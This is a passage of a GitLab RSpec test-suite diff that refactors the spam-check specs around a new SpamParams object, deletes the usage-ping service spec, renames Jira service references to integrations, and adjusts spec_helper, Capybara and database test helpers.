let(:fake_referer) { 'fake-http-referer' }
- let(:env) do
- { 'action_dispatch.remote_ip' => fake_ip,
- 'HTTP_USER_AGENT' => fake_user_agent,
- 'HTTP_REFERER' => fake_referer }
+ let(:captcha_response) { 'abc123' }
+ let(:spam_log_id) { existing_spam_log.id }
+ let(:spam_params) do
+ ::Spam::SpamParams.new(
+ captcha_response: captcha_response,
+ spam_log_id: spam_log_id,
+ ip_address: fake_ip,
+ user_agent: fake_user_agent,
+ referer: fake_referer
+ )
end
let_it_be(:project) { create(:project, :public) }
@@ -23,32 +28,33 @@ RSpec.describe Spam::SpamActionService do
issue.spam = false
end
- shared_examples 'only checks for spam if a request is provided' do
- context 'when request is missing' do
- let(:request) { nil }
+ describe 'constructor argument validation' do
+ subject do
+ described_service = described_class.new(spammable: issue, spam_params: spam_params, user: user, action: :create)
+ described_service.execute
+ end
- it "doesn't check as spam" do
- expect(fake_verdict_service).not_to receive(:execute)
+ context 'when spam_params is nil' do
+ let(:spam_params) { nil }
+ let(:expected_service_params_not_present_message) do
+ /Skipped spam check because spam_params was not present/
+ end
+ it "returns success with a messaage" do
response = subject
- expect(response.message).to match(/request was not present/)
+ expect(response.message).to match(expected_service_params_not_present_message)
expect(issue).not_to be_spam
end
end
-
- context 'when request exists' do
- it 'creates a spam log' do
- expect { subject }
- .to log_spam(title: issue.title, description: issue.description, noteable_type: 'Issue')
- end
- end
end
shared_examples 'creates a spam log' do
it do
- expect { subject }.to change(SpamLog, :count).by(1)
+ expect { subject }
+ .to log_spam(title: issue.title, description: issue.description, noteable_type: 'Issue')
+ # TODO: These checks should be incorporated into the `log_spam` RSpec matcher above
new_spam_log = SpamLog.last
expect(new_spam_log.user_id).to eq(user.id)
expect(new_spam_log.title).to eq(issue.title)
@@ -56,25 +62,14 @@ RSpec.describe Spam::SpamActionService do
expect(new_spam_log.source_ip).to eq(fake_ip)
expect(new_spam_log.user_agent).to eq(fake_user_agent)
expect(new_spam_log.noteable_type).to eq('Issue')
- expect(new_spam_log.via_api).to eq(false)
+ expect(new_spam_log.via_api).to eq(true)
end
end
describe '#execute' do
- let(:request) { double(:request, env: env, headers: nil) }
let(:fake_captcha_verification_service) { double(:captcha_verification_service) }
let(:fake_verdict_service) { double(:spam_verdict_service) }
let(:allowlisted) { false }
- let(:api) { nil }
- let(:captcha_response) { 'abc123' }
- let(:spam_log_id) { existing_spam_log.id }
- let(:spam_params) do
- ::Spam::SpamParams.new(
- api: api,
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- )
- end
let(:verdict_service_opts) do
{
@@ -88,7 +83,6 @@ RSpec.describe Spam::SpamActionService do
{
target: issue,
user: user,
- request: request,
options: verdict_service_opts,
context: {
action: :create,
@@ -100,40 +94,20 @@ RSpec.describe Spam::SpamActionService do
let_it_be(:existing_spam_log) { create(:spam_log, user: user, recaptcha_verified: false) }
subject do
- described_service = described_class.new(spammable: issue, request: request, user: user, action: :create)
+ described_service = described_class.new(spammable: issue, spam_params: spam_params, user: user, action: :create)
allow(described_service).to receive(:allowlisted?).and_return(allowlisted)
- described_service.execute(spam_params: spam_params)
+ described_service.execute
end
before do
- allow(Captcha::CaptchaVerificationService).to receive(:new) { fake_captcha_verification_service }
+ allow(Captcha::CaptchaVerificationService).to receive(:new).with(spam_params: spam_params) { fake_captcha_verification_service }
allow(Spam::SpamVerdictService).to receive(:new).with(verdict_service_args).and_return(fake_verdict_service)
end
- context 'when the captcha params are passed in the headers' do
- let(:request) { double(:request, env: env, headers: headers) }
- let(:spam_params) { Spam::SpamActionService.filter_spam_params!({ api: api }, request) }
- let(:headers) do
- {
- 'X-GitLab-Captcha-Response' => captcha_response,
- 'X-GitLab-Spam-Log-Id' => spam_log_id
- }
- end
-
- it 'extracts the headers correctly' do
- expect(fake_captcha_verification_service)
- .to receive(:execute).with(captcha_response: captcha_response, request: request).and_return(true)
- expect(SpamLog)
- .to receive(:verify_recaptcha!).with(user_id: user.id, id: spam_log_id)
-
- subject
- end
- end
-
context 'when captcha response verification returns true' do
before do
allow(fake_captcha_verification_service)
- .to receive(:execute).with(captcha_response: captcha_response, request: request).and_return(true)
+ .to receive(:execute).and_return(true)
end
it "doesn't check with the SpamVerdictService" do
@@ -156,7 +130,7 @@ RSpec.describe Spam::SpamActionService do
context 'when captcha response verification returns false' do
before do
allow(fake_captcha_verification_service)
- .to receive(:execute).with(captcha_response: captcha_response, request: request).and_return(false)
+ .to receive(:execute).and_return(false)
end
context 'when spammable attributes have not changed' do
@@ -200,8 +174,6 @@ RSpec.describe Spam::SpamActionService do
stub_feature_flags(allow_possible_spam: false)
end
- it_behaves_like 'only checks for spam if a request is provided'
-
it 'marks as spam' do
response = subject
@@ -211,8 +183,6 @@ RSpec.describe Spam::SpamActionService do
end
context 'when allow_possible_spam feature flag is true' do
- it_behaves_like 'only checks for spam if a request is provided'
-
it 'does not mark as spam' do
response = subject
@@ -232,8 +202,6 @@ RSpec.describe Spam::SpamActionService do
stub_feature_flags(allow_possible_spam: false)
end
- it_behaves_like 'only checks for spam if a request is provided'
-
it 'marks as spam' do
response = subject
@@ -243,8 +211,6 @@ RSpec.describe Spam::SpamActionService do
end
context 'when allow_possible_spam feature flag is true' do
- it_behaves_like 'only checks for spam if a request is provided'
-
it 'does not mark as spam' do
response = subject
@@ -264,8 +230,6 @@ RSpec.describe Spam::SpamActionService do
stub_feature_flags(allow_possible_spam: false)
end
- it_behaves_like 'only checks for spam if a request is provided'
-
it_behaves_like 'creates a spam log'
it 'does not mark as spam' do
@@ -284,8 +248,6 @@ RSpec.describe Spam::SpamActionService do
end
context 'when allow_possible_spam feature flag is true' do
- it_behaves_like 'only checks for spam if a request is provided'
-
it_behaves_like 'creates a spam log'
it 'does not mark as needing reCAPTCHA' do
@@ -334,37 +296,10 @@ RSpec.describe Spam::SpamActionService do
allow(fake_verdict_service).to receive(:execute).and_return(ALLOW)
end
- context 'when the request is nil' do
- let(:request) { nil }
- let(:issue_ip_address) { '1.2.3.4' }
- let(:issue_user_agent) { 'lynx' }
- let(:verdict_service_opts) do
- {
- ip_address: issue_ip_address,
- user_agent: issue_user_agent
- }
- end
-
- before do
- allow(issue).to receive(:ip_address) { issue_ip_address }
- allow(issue).to receive(:user_agent) { issue_user_agent }
- end
-
- it 'assembles the options with information from the spammable' do
- # TODO: This code untestable, because we do not perform a verification if there is not a
- # request. See corresponding comment in code
- # expect(Spam::SpamVerdictService).to receive(:new).with(verdict_service_args)
-
- subject
- end
- end
-
- context 'when the request is present' do
- it 'assembles the options with information from the request' do
- expect(Spam::SpamVerdictService).to receive(:new).with(verdict_service_args)
+ it 'assembles the options with information from the request' do
+ expect(Spam::SpamVerdictService).to receive(:new).with(verdict_service_args)
- subject
- end
+ subject
end
end
end
diff --git a/spec/services/spam/spam_params_spec.rb b/spec/services/spam/spam_params_spec.rb
new file mode 100644
index 00000000000..e7e8b468adb
--- /dev/null
+++ b/spec/services/spam/spam_params_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Spam::SpamParams do
+ describe '.new_from_request' do
+ let(:captcha_response) { 'abc123' }
+ let(:spam_log_id) { 42 }
+ let(:ip_address) { '0.0.0.0' }
+ let(:user_agent) { 'Lynx' }
+ let(:referer) { 'http://localhost' }
+ let(:headers) do
+ {
+ 'X-GitLab-Captcha-Response' => captcha_response,
+ 'X-GitLab-Spam-Log-Id' => spam_log_id
+ }
+ end
+
+ let(:env) do
+ {
+ 'action_dispatch.remote_ip' => ip_address,
+ 'HTTP_USER_AGENT' => user_agent,
+ 'HTTP_REFERER' => referer
+ }
+ end
+
+ let(:request) {double(:request, headers: headers, env: env)}
+
+ it 'constructs from a request' do
+ expected = ::Spam::SpamParams.new(
+ captcha_response: captcha_response,
+ spam_log_id: spam_log_id,
+ ip_address: ip_address,
+ user_agent: user_agent,
+ referer: referer
+ )
+ expect(described_class.new_from_request(request: request)).to eq(expected)
+ end
+ end
+end
diff --git a/spec/services/spam/spam_verdict_service_spec.rb b/spec/services/spam/spam_verdict_service_spec.rb
index 215df81de63..659c21b7d4f 100644
--- a/spec/services/spam/spam_verdict_service_spec.rb
+++ b/spec/services/spam/spam_verdict_service_spec.rb
@@ -14,13 +14,12 @@ RSpec.describe Spam::SpamVerdictService do
'HTTP_REFERER' => fake_referer }
end
- let(:request) { double(:request, env: env) }
-
let(:check_for_spam) { true }
let_it_be(:user) { create(:user) }
let_it_be(:issue) { create(:issue, author: user) }
+
let(:service) do
- described_class.new(user: user, target: issue, request: request, options: {})
+ described_class.new(user: user, target: issue, options: {})
end
let(:attribs) do
diff --git a/spec/services/submit_usage_ping_service_spec.rb b/spec/services/submit_usage_ping_service_spec.rb
deleted file mode 100644
index 7133dc35fc3..00000000000
--- a/spec/services/submit_usage_ping_service_spec.rb
+++ /dev/null
@@ -1,235 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe SubmitUsagePingService do
- include StubRequests
- include UsageDataHelpers
-
- let(:usage_data_id) { 31643 }
- let(:score_params) do
- {
- score: {
- leader_issues: 10.2,
- instance_issues: 3.2,
- percentage_issues: 31.37,
-
- leader_notes: 25.3,
- instance_notes: 23.2,
-
- leader_milestones: 16.2,
- instance_milestones: 5.5,
-
- leader_boards: 5.2,
- instance_boards: 3.2,
-
- leader_merge_requests: 5.2,
- instance_merge_requests: 3.2,
-
- leader_ci_pipelines: 25.1,
- instance_ci_pipelines: 21.3,
-
- leader_environments: 3.3,
- instance_environments: 2.2,
-
- leader_deployments: 41.3,
- instance_deployments: 15.2,
-
- leader_projects_prometheus_active: 0.31,
- instance_projects_prometheus_active: 0.30,
-
- leader_service_desk_issues: 15.8,
- instance_service_desk_issues: 15.1,
-
- usage_data_id: usage_data_id,
-
- non_existing_column: 'value'
- }
- }
- end
-
- let(:with_dev_ops_score_params) { { dev_ops_score: score_params[:score] } }
- let(:with_conv_index_params) { { conv_index: score_params[:score] } }
-
- shared_examples 'does not run' do
- it do
- expect(Gitlab::HTTP).not_to receive(:post)
- expect(Gitlab::UsageData).not_to receive(:data)
-
- subject.execute
- end
- end
-
- shared_examples 'does not send a blank usage ping payload' do
- it do
- expect(Gitlab::HTTP).not_to receive(:post)
-
- expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
- expect(error.message).to include('Usage data is blank')
- end
- end
- end
-
- shared_examples 'saves DevOps report data from the response' do
- it do
- expect { subject.execute }
- .to change { DevOpsReport::Metric.count }
- .by(1)
-
- expect(DevOpsReport::Metric.last.leader_issues).to eq 10.2
- expect(DevOpsReport::Metric.last.instance_issues).to eq 3.2
- expect(DevOpsReport::Metric.last.percentage_issues).to eq 31.37
- end
- end
-
- context 'when usage ping is disabled' do
- before do
- stub_application_setting(usage_ping_enabled: false)
- end
-
- it_behaves_like 'does not run'
- end
-
- context 'when usage ping is disabled from GitLab config file' do
- before do
- stub_config_setting(usage_ping_enabled: false)
- end
-
- it_behaves_like 'does not run'
- end
-
- context 'when usage ping is enabled' do
- before do
- stub_usage_data_connections
- stub_application_setting(usage_ping_enabled: true)
- end
-
- context 'and user requires usage stats consent' do
- before do
- allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: true))
- end
-
- it_behaves_like 'does not run'
- end
-
- it 'sends a POST request' do
- response = stub_response(body: with_dev_ops_score_params)
-
- subject.execute
-
- expect(response).to have_been_requested
- end
-
- it 'forces a refresh of usage data statistics before submitting' do
- stub_response(body: with_dev_ops_score_params)
-
- expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_call_original
-
- subject.execute
- end
-
- context 'when conv_index data is passed' do
- before do
- stub_response(body: with_conv_index_params)
- end
-
- it_behaves_like 'saves DevOps report data from the response'
-
- it 'saves usage_data_id to version_usage_data_id_value' do
- recorded_at = Time.current
- usage_data = { uuid: 'uuid', recorded_at: recorded_at }
-
- expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_return(usage_data)
-
- subject.execute
-
- raw_usage_data = RawUsageData.find_by(recorded_at: recorded_at)
-
- expect(raw_usage_data.version_usage_data_id_value).to eq(31643)
- end
- end
-
- context 'when version app usage_data_id is invalid' do
- let(:usage_data_id) { -1000 }
-
- before do
- stub_response(body: with_conv_index_params)
- end
-
- it 'raises an exception' do
- expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
- expect(error.message).to include('Invalid usage_data_id in response: -1000')
- end
- end
- end
-
- context 'when DevOps report data is passed' do
- before do
- stub_response(body: with_dev_ops_score_params)
- end
-
- it_behaves_like 'saves DevOps report data from the response'
- end
-
- context 'with saving raw_usage_data' do
- before do
- stub_response(body: with_dev_ops_score_params)
- end
-
- it 'creates a raw_usage_data record' do
- expect { subject.execute }.to change(RawUsageData, :count).by(1)
- end
-
- it 'saves the correct payload' do
- recorded_at = Time.current
- usage_data = { uuid: 'uuid', recorded_at: recorded_at }
-
- expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_return(usage_data)
-
- subject.execute
-
- raw_usage_data = RawUsageData.find_by(recorded_at: recorded_at)
-
- expect(raw_usage_data.recorded_at).to be_like_time(recorded_at)
- expect(raw_usage_data.payload.to_json).to eq(usage_data.to_json)
- end
- end
-
- context 'and usage ping response has unsuccessful status' do
- before do
- stub_response(body: nil, status: 504)
- end
-
- it 'raises an exception' do
- expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
- expect(error.message).to include('Unsuccessful response code: 504')
- end
- end
- end
-
- context 'and usage data is empty string' do
- before do
- allow(Gitlab::UsageData).to receive(:data).and_return({})
- end
-
- it_behaves_like 'does not send a blank usage ping payload'
- end
-
- context 'and usage data is nil' do
- before do
- allow(Gitlab::UsageData).to receive(:data).and_return(nil)
- end
-
- it_behaves_like 'does not send a blank usage ping payload'
- end
- end
-
- def stub_response(body:, status: 201)
- stub_full_request(subject.send(:url), method: :post)
- .to_return(
- headers: { 'Content-Type' => 'application/json' },
- body: body.to_json,
- status: status
- )
- end
-end
diff --git a/spec/services/system_note_service_spec.rb b/spec/services/system_note_service_spec.rb
index 54cef164f1c..e9bd40b058b 100644
--- a/spec/services/system_note_service_spec.rb
+++ b/spec/services/system_note_service_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe SystemNoteService do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group) }
let_it_be(:author) { create(:user) }
+
let(:noteable) { create(:issue, project: project) }
let(:issue) { noteable }
@@ -355,15 +356,15 @@ RSpec.describe SystemNoteService do
let(:issue) { create(:issue, project: project) }
let(:merge_request) { create(:merge_request, :simple, target_project: project, source_project: project) }
let(:jira_issue) { ExternalIssue.new("JIRA-1", project)}
- let(:jira_tracker) { project.jira_service }
+ let(:jira_tracker) { project.jira_integration }
let(:commit) { project.commit }
let(:comment_url) { jira_api_comment_url(jira_issue.id) }
let(:success_message) { "SUCCESS: Successfully posted to http://jira.example.net." }
before do
- stub_jira_service_test
+ stub_jira_integration_test
stub_jira_urls(jira_issue.id)
- jira_service_settings
+ jira_integration_settings
end
def cross_reference(type, link_exists = false)
diff --git a/spec/services/system_notes/issuables_service_spec.rb b/spec/services/system_notes/issuables_service_spec.rb
index 0eb327ea7f1..1ea3c241d27 100644
--- a/spec/services/system_notes/issuables_service_spec.rb
+++ b/spec/services/system_notes/issuables_service_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe ::SystemNotes::IssuablesService do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group) }
let_it_be(:author) { create(:user) }
+
let(:noteable) { create(:issue, project: project) }
let(:issue) { noteable }
@@ -728,7 +729,7 @@ RSpec.describe ::SystemNotes::IssuablesService do
let(:noteable) { ExternalIssue.new('EXT-1234', project) }
it 'is false with issue tracker supporting referencing' do
- create(:jira_service, project: project)
+ create(:jira_integration, project: project)
project.reload
expect(service.cross_reference_disallowed?(noteable)).to be_falsey
diff --git a/spec/services/test_hooks/project_service_spec.rb b/spec/services/test_hooks/project_service_spec.rb
index a87e612e378..cd6284b4a87 100644
--- a/spec/services/test_hooks/project_service_spec.rb
+++ b/spec/services/test_hooks/project_service_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe TestHooks::ProjectService do
describe '#execute' do
let_it_be(:project) { create(:project, :repository) }
+
let(:hook) { create(:project_hook, project: project) }
let(:trigger) { 'not_implemented_events' }
let(:service) { described_class.new(hook, current_user, trigger) }
@@ -163,6 +164,7 @@ RSpec.describe TestHooks::ProjectService do
context 'wiki_page_events' do
let_it_be(:project) { create(:project, :wiki_repo) }
+
let(:trigger) { 'wiki_page_events' }
let(:trigger_key) { :wiki_page_hooks }
diff --git a/spec/services/test_hooks/system_service_spec.rb b/spec/services/test_hooks/system_service_spec.rb
index e500a1057ab..a13ae471b4b 100644
--- a/spec/services/test_hooks/system_service_spec.rb
+++ b/spec/services/test_hooks/system_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe TestHooks::SystemService do
describe '#execute' do
let_it_be(:project) { create(:project, :repository) }
+
let(:hook) { create(:system_hook) }
let(:service) { described_class.new(hook, project.owner, trigger) }
let(:success_result) { { status: :success, http_status: 200, message: 'ok' } }
diff --git a/spec/services/user_project_access_changed_service_spec.rb b/spec/services/user_project_access_changed_service_spec.rb
index 4723619afd2..f8835fefc84 100644
--- a/spec/services/user_project_access_changed_service_spec.rb
+++ b/spec/services/user_project_access_changed_service_spec.rb
@@ -30,6 +30,17 @@ RSpec.describe UserProjectAccessChangedService do
described_class.new([1, 2]).execute(blocking: false,
priority: described_class::LOW_PRIORITY)
end
+
+ it 'sets the current caller_id as related_class in the context of all the enqueued jobs' do
+ Gitlab::ApplicationContext.with_context(caller_id: 'Foo') do
+ described_class.new([1, 2]).execute(blocking: false,
+ priority: described_class::LOW_PRIORITY)
+ end
+
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker.jobs).to all(
+ include(Labkit::Context.log_key(:related_class) => 'Foo')
+ )
+ end
end
context 'with load balancing enabled' do
diff --git a/spec/services/users/approve_service_spec.rb b/spec/services/users/approve_service_spec.rb
index 9999e674c7d..078dde546c9 100644
--- a/spec/services/users/approve_service_spec.rb
+++ b/spec/services/users/approve_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Users::ApproveService do
let_it_be(:current_user) { create(:admin) }
+
let(:user) { create(:user, :blocked_pending_approval) }
subject(:execute) { described_class.new(current_user).execute(user) }
diff --git a/spec/services/users/reject_service_spec.rb b/spec/services/users/reject_service_spec.rb
index b9aaff5cde5..b0094a7c47e 100644
--- a/spec/services/users/reject_service_spec.rb
+++ b/spec/services/users/reject_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Users::RejectService do
let_it_be(:current_user) { create(:admin) }
+
let(:user) { create(:user, :blocked_pending_approval) }
subject(:execute) { described_class.new(current_user).execute(user) }
diff --git a/spec/services/users/validate_otp_service_spec.rb b/spec/services/users/validate_otp_service_spec.rb
index 42f0c10488c..46b80b2149f 100644
--- a/spec/services/users/validate_otp_service_spec.rb
+++ b/spec/services/users/validate_otp_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Users::ValidateOtpService do
let_it_be(:user) { create(:user) }
+
let(:otp_code) { 42 }
subject(:validate) { described_class.new(user).execute(otp_code) }
diff --git a/spec/services/web_hook_service_spec.rb b/spec/services/web_hook_service_spec.rb
index 5f53d6f34d8..f9fa46a4fc8 100644
--- a/spec/services/web_hook_service_spec.rb
+++ b/spec/services/web_hook_service_spec.rb
@@ -418,19 +418,6 @@ RSpec.describe WebHookService do
described_class.new(other_hook, data, :push_hooks).async_execute
end
end
-
- context 'when the feature flag is disabled' do
- before do
- stub_feature_flags(web_hooks_rate_limit: false)
- end
-
- it 'queues a worker without tracking the call' do
- expect(Gitlab::ApplicationRateLimiter).not_to receive(:throttled?)
- expect_to_perform_worker(project_hook)
-
- service_instance.async_execute
- end
- end
end
context 'when hook has custom context attributes' do
diff --git a/spec/services/wiki_pages/create_service_spec.rb b/spec/services/wiki_pages/create_service_spec.rb
index 44b57088319..fd3776f4207 100644
--- a/spec/services/wiki_pages/create_service_spec.rb
+++ b/spec/services/wiki_pages/create_service_spec.rb
@@ -4,4 +4,24 @@ require 'spec_helper'
RSpec.describe WikiPages::CreateService do
it_behaves_like 'WikiPages::CreateService#execute', :project
+
+ describe '#execute' do
+ let_it_be(:project) { create(:project) }
+
+ subject(:service) { described_class.new(container: project) }
+
+ context 'when wiki create fails due to git error' do
+ let(:wiki_git_error) { 'Could not create wiki page' }
+
+ it 'catches the thrown error and returns a ServiceResponse error' do
+ allow_next_instance_of(WikiPage) do |instance|
+ allow(instance).to receive(:create).and_raise(Gitlab::Git::CommandError.new(wiki_git_error))
+ end
+
+ result = service.execute
+ expect(result).to be_error
+ expect(result.message).to eq(wiki_git_error)
+ end
+ end
+ end
end
diff --git a/spec/services/wiki_pages/event_create_service_spec.rb b/spec/services/wiki_pages/event_create_service_spec.rb
index 974f2591763..6bc6a678189 100644
--- a/spec/services/wiki_pages/event_create_service_spec.rb
+++ b/spec/services/wiki_pages/event_create_service_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe WikiPages::EventCreateService do
describe '#execute' do
let_it_be(:page) { create(:wiki_page, project: project) }
+
let(:slug) { generate(:sluggified_title) }
let(:action) { :created }
let(:fingerprint) { page.sha }
diff --git a/spec/services/wiki_pages/update_service_spec.rb b/spec/services/wiki_pages/update_service_spec.rb
index 33ac98e764d..62881817e32 100644
--- a/spec/services/wiki_pages/update_service_spec.rb
+++ b/spec/services/wiki_pages/update_service_spec.rb
@@ -4,4 +4,26 @@ require 'spec_helper'
RSpec.describe WikiPages::UpdateService do
it_behaves_like 'WikiPages::UpdateService#execute', :project
+
+ describe '#execute' do
+ let_it_be(:project) { create(:project) }
+
+ let(:page) { create(:wiki_page, project: project) }
+
+ subject(:service) { described_class.new(container: project) }
+
+ context 'when wiki create fails due to git error' do
+ let(:wiki_git_error) { 'Could not update wiki page' }
+
+ it 'catches the thrown error and returns a ServiceResponse error' do
+ allow_next_instance_of(WikiPage) do |instance|
+ allow(instance).to receive(:update).and_raise(Gitlab::Git::CommandError.new(wiki_git_error))
+ end
+
+ result = service.execute(page)
+ expect(result).to be_error
+ expect(result.message).to eq(wiki_git_error)
+ end
+ end
+ end
end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 31ff619232c..d339ac67810 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -76,9 +76,6 @@ require_relative '../tooling/quality/test_level'
quality_level = Quality::TestLevel.new
RSpec.configure do |config|
- config.filter_run focus: true
- config.run_all_when_everything_filtered = true
-
config.use_transactional_fixtures = true
config.use_instantiated_fixtures = false
config.fixture_path = Rails.root
@@ -113,6 +110,11 @@ RSpec.configure do |config|
end
unless ENV['CI']
+ # Allow running `:focus` examples locally,
+ # falling back to all tests when there is no `:focus` example.
+ config.filter_run focus: true
+ config.run_all_when_everything_filtered = true
+
# Re-run failures locally with `--only-failures`
config.example_status_persistence_file_path = './spec/examples.txt'
end
@@ -190,6 +192,7 @@ RSpec.configure do |config|
config.include RailsHelpers
config.include SidekiqMiddleware
config.include StubActionCableConnection, type: :channel
+ config.include StubSpamServices
include StubFeatureFlags
@@ -230,6 +233,10 @@ RSpec.configure do |config|
Gitlab::Database.set_open_transactions_baseline
end
+ config.append_before do
+ Thread.current[:current_example_group] = ::RSpec.current_example.metadata[:example_group]
+ end
+
config.append_after do
Gitlab::Database.reset_open_transactions_baseline
end
@@ -253,8 +260,9 @@ RSpec.configure do |config|
# tests, until we introduce it in user settings
stub_feature_flags(forti_token_cloud: false)
- # This feature flag is by default disabled and used in disaster recovery mode
- stub_feature_flags(ci_queueing_disaster_recovery: false)
+ # These feature flag are by default disabled and used in disaster recovery mode
+ stub_feature_flags(ci_queueing_disaster_recovery_disable_fair_scheduling: false)
+ stub_feature_flags(ci_queueing_disaster_recovery_disable_quota: false)
enable_rugged = example.metadata[:enable_rugged].present?
@@ -267,7 +275,6 @@ RSpec.configure do |config|
# See https://gitlab.com/gitlab-org/gitlab/-/issues/33867
stub_feature_flags(file_identifier_hash: false)
- stub_feature_flags(unified_diff_components: false)
stub_feature_flags(diffs_virtual_scrolling: false)
# The following `vue_issues_list`/`vue_issuables_list` stubs can be removed
@@ -286,6 +293,8 @@ RSpec.configure do |config|
# As we're ready to change `master` usages to `main`, let's enable it
stub_feature_flags(main_branch_over_master: false)
+ stub_feature_flags(issue_boards_filtered_search: false)
+
# Disable issue respositioning to avoid heavy load on database when importing big projects.
# This is only turned on when app is handling heavy project imports.
# Can be removed when we find a better way to deal with the problem.
diff --git a/spec/support/capybara.rb b/spec/support/capybara.rb
index e48a7b322ac..6f96d552da6 100644
--- a/spec/support/capybara.rb
+++ b/spec/support/capybara.rb
@@ -60,8 +60,8 @@ Capybara.register_driver :chrome do |app|
# Chrome won't work properly in a Docker container in sandbox mode
options.add_argument("no-sandbox")
- # Run headless by default unless CHROME_HEADLESS specified
- options.add_argument("headless") unless ENV['CHROME_HEADLESS'] =~ /^(false|no|0)$/i
+ # Run headless by default unless WEBDRIVER_HEADLESS specified
+ options.add_argument("headless") unless ENV['WEBDRIVER_HEADLESS'] =~ /^(false|no|0)$/i || ENV['CHROME_HEADLESS'] =~ /^(false|no|0)$/i
# Disable /dev/shm use in CI. See https://gitlab.com/gitlab-org/gitlab/issues/4252
options.add_argument("disable-dev-shm-usage") if ENV['CI'] || ENV['CI_SERVER']
@@ -197,7 +197,7 @@ RSpec.configure do |config|
raise JSConsoleError, message
end
rescue Selenium::WebDriver::Error::WebDriverError => error
- if error.message =~ /unknown command: session\/[0-9a-zA-Z]+(?:\/se)?\/log/
+ if error.message =~ %r{unknown command: session/[0-9a-zA-Z]+(?:/se)?/log}
message = "Unable to access Chrome javascript console logs. You may be using an outdated version of ChromeDriver."
raise JSConsoleError, message
else
diff --git a/spec/support/gitlab_experiment.rb b/spec/support/gitlab_experiment.rb
index b84adf82d29..3d099dc689c 100644
--- a/spec/support/gitlab_experiment.rb
+++ b/spec/support/gitlab_experiment.rb
@@ -4,16 +4,6 @@
require 'gitlab/experiment/rspec'
require_relative 'stub_snowplow'
-# This is a temporary fix until we have a larger discussion around the
-# challenges raised in https://gitlab.com/gitlab-org/gitlab/-/issues/300104
-require Rails.root.join('app', 'experiments', 'application_experiment')
-class ApplicationExperiment # rubocop:disable Gitlab/NamespacedClass
- def initialize(...)
- super(...)
- Feature.persist_used!(feature_flag_name)
- end
-end
-
RSpec.configure do |config|
config.include StubSnowplow, :experiment
diff --git a/spec/support/helpers/ci/template_helpers.rb b/spec/support/helpers/ci/template_helpers.rb
new file mode 100644
index 00000000000..7bab58a574e
--- /dev/null
+++ b/spec/support/helpers/ci/template_helpers.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Ci
+ module TemplateHelpers
+ def secure_analyzers_prefix
+ 'registry.gitlab.com/gitlab-org/security-products/analyzers'
+ end
+ end
+end
+
+Ci::TemplateHelpers.prepend_mod
diff --git a/spec/support/helpers/cycle_analytics_helpers.rb b/spec/support/helpers/cycle_analytics_helpers.rb
index 4515b96c79e..e48c8125d84 100644
--- a/spec/support/helpers/cycle_analytics_helpers.rb
+++ b/spec/support/helpers/cycle_analytics_helpers.rb
@@ -12,9 +12,7 @@ module CycleAnalyticsHelpers
page.all('.gl-path-button').collect(&:text).map {|name_with_median| name_with_median.split("\n")[0] }
end
- def add_custom_stage_to_form
- page.find_button(s_('CreateValueStreamForm|Add another stage')).click
-
+ def fill_in_custom_stage_fields
index = page.all('[data-testid="value-stream-stage-fields"]').length
last_stage = page.all('[data-testid="value-stream-stage-fields"]').last
@@ -25,6 +23,12 @@ module CycleAnalyticsHelpers
end
end
+ def add_custom_stage_to_form
+ page.find_button(s_('CreateValueStreamForm|Add another stage')).click
+
+ fill_in_custom_stage_fields
+ end
+
def save_value_stream(custom_value_stream_name)
fill_in 'create-value-stream-name', with: custom_value_stream_name
diff --git a/spec/support/helpers/database/table_schema_helpers.rb b/spec/support/helpers/database/table_schema_helpers.rb
index 48d33442110..472eaa45b4b 100644
--- a/spec/support/helpers/database/table_schema_helpers.rb
+++ b/spec/support/helpers/database/table_schema_helpers.rb
@@ -43,6 +43,14 @@ module Database
expect(index_exists_by_name(name, schema: schema)).to be_nil
end
+ def expect_foreign_key_to_exist(table_name, name, schema: nil)
+ expect(foreign_key_exists_by_name(table_name, name, schema: schema)).to eq(true)
+ end
+
+ def expect_foreign_key_not_to_exist(table_name, name, schema: nil)
+ expect(foreign_key_exists_by_name(table_name, name, schema: schema)).to be_nil
+ end
+
def expect_check_constraint(table_name, name, definition, schema: nil)
expect(check_constraint_definition(table_name, name, schema: schema)).to eq("CHECK ((#{definition}))")
end
@@ -133,6 +141,18 @@ module Database
SQL
end
+ def foreign_key_exists_by_name(table_name, foreign_key_name, schema: nil)
+ table_name = schema ? "#{schema}.#{table_name}" : table_name
+
+ connection.select_value(<<~SQL)
+ SELECT true
+ FROM pg_catalog.pg_constraint
+ WHERE pg_constraint.conrelid = '#{table_name}'::regclass
+ AND pg_constraint.contype = 'f'
+ AND pg_constraint.conname = '#{foreign_key_name}'
+ SQL
+ end
+
def check_constraint_definition(table_name, constraint_name, schema: nil)
table_name = schema ? "#{schema}.#{table_name}" : table_name
diff --git a/spec/support/helpers/feature_flag_helpers.rb b/spec/support/helpers/feature_flag_helpers.rb
index af7a674f3bc..51ba9039b70 100644
--- a/spec/support/helpers/feature_flag_helpers.rb
+++ b/spec/support/helpers/feature_flag_helpers.rb
@@ -14,6 +14,12 @@ module FeatureFlagHelpers
strategies: strategies)
end
